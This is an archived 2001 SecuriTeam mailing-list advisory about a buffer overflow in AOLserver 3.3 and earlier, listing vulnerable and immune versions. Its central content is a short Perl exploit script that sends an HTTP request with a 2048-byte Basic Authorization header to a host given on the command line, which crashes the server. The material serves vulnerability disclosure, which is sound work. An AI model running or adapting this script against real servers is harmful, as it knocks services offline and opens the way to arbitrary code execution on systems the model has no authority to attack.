

# [EXPL] AOLserver Vulnerable To Host Buffer Overflow

*Source:* <http://www.derkeiler.com/Mailing-Lists/Securiteam/2001-08/0104.html>

---

*From:* [support@securiteam.com](mailto:support@securiteam.com)

*Date:* 08/29/01

From: [support@securiteam.com](mailto:support@securiteam.com)

To: [list@securiteam.com](mailto:list@securiteam.com)

Subject: [EXPL] AOLserver Vulnerable To Host Buffer Overflow

Message-Id: <20010829083231.B693F138BF@mail.der-keiler.de>

Date: Wed, 29 Aug 2001 10:32:31 +0200 (CEST)

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

When was the last time you checked your server's security?

How about a monthly report?

<http://www.AutomatedScanning.com> – Know that you're safe.

-----

## AOLserver Vulnerable To Host Buffer Overflow

---

### SUMMARY

<<http://www.aolserver.com/>> AOLserver is a multithreaded, Tcl-enabled web server used for large scale, dynamic web sites. A vulnerability in the product allows remote users to overflow an internal buffer used by the program causing it to execute arbitrary code.

### DETAILS

Vulnerable systems:

AOLserver version 3.3 and prior

Immune systems:

AOLserver version 3.4

AOLserver version 3.3.1

Exploit code:

```
#!/usr/bin/perl
```

```
use IO::Socket;
```

```
unless (@ARGV == 1) { die "usage: $0 host ..." }
```

## Securiteam: [EXPL] AOLserver Vulnerable To Host Buffer Overflow

```
$host = shift(@ARGV);
$remote = IO::Socket::INET->new( Proto => "tcp",
    PeerAddr => $host,
    PeerPort => "http(80)",
    );
unless ($remote) { die "cannot connect to http daemon on $host" }

$junk = "X" x 2048;
$killme = "GET / HTTP/1.0\nAuthorization: Basic ".$junk."\r\n\r\n";
$remote->autoflush(1);
print $remote $killme;
close $remote;
```

### ADDITIONAL INFORMATION

The information has been provided by <mailto:[nate@securitylogics.com](mailto:nate@securitylogics.com)>  
Nate Haggard.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

[list-unsubscribe@securiteam.com](mailto:list-unsubscribe@securiteam.com)

In order to subscribe to the mailing list, simply forward this email to: [list-subscribe@securiteam.com](mailto:list-subscribe@securiteam.com)

=====  
=====

### DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.

- 
- **Previous message:** [support@securiteam.com](mailto:support@securiteam.com): "[NEWS] @Home Network Subject to DHCP Hijacking"
  - **Messages sorted by:** [\[ date \]](#) [\[ thread \]](#) [\[ subject \]](#) [\[ author \]](#) [\[ attachment \]](#)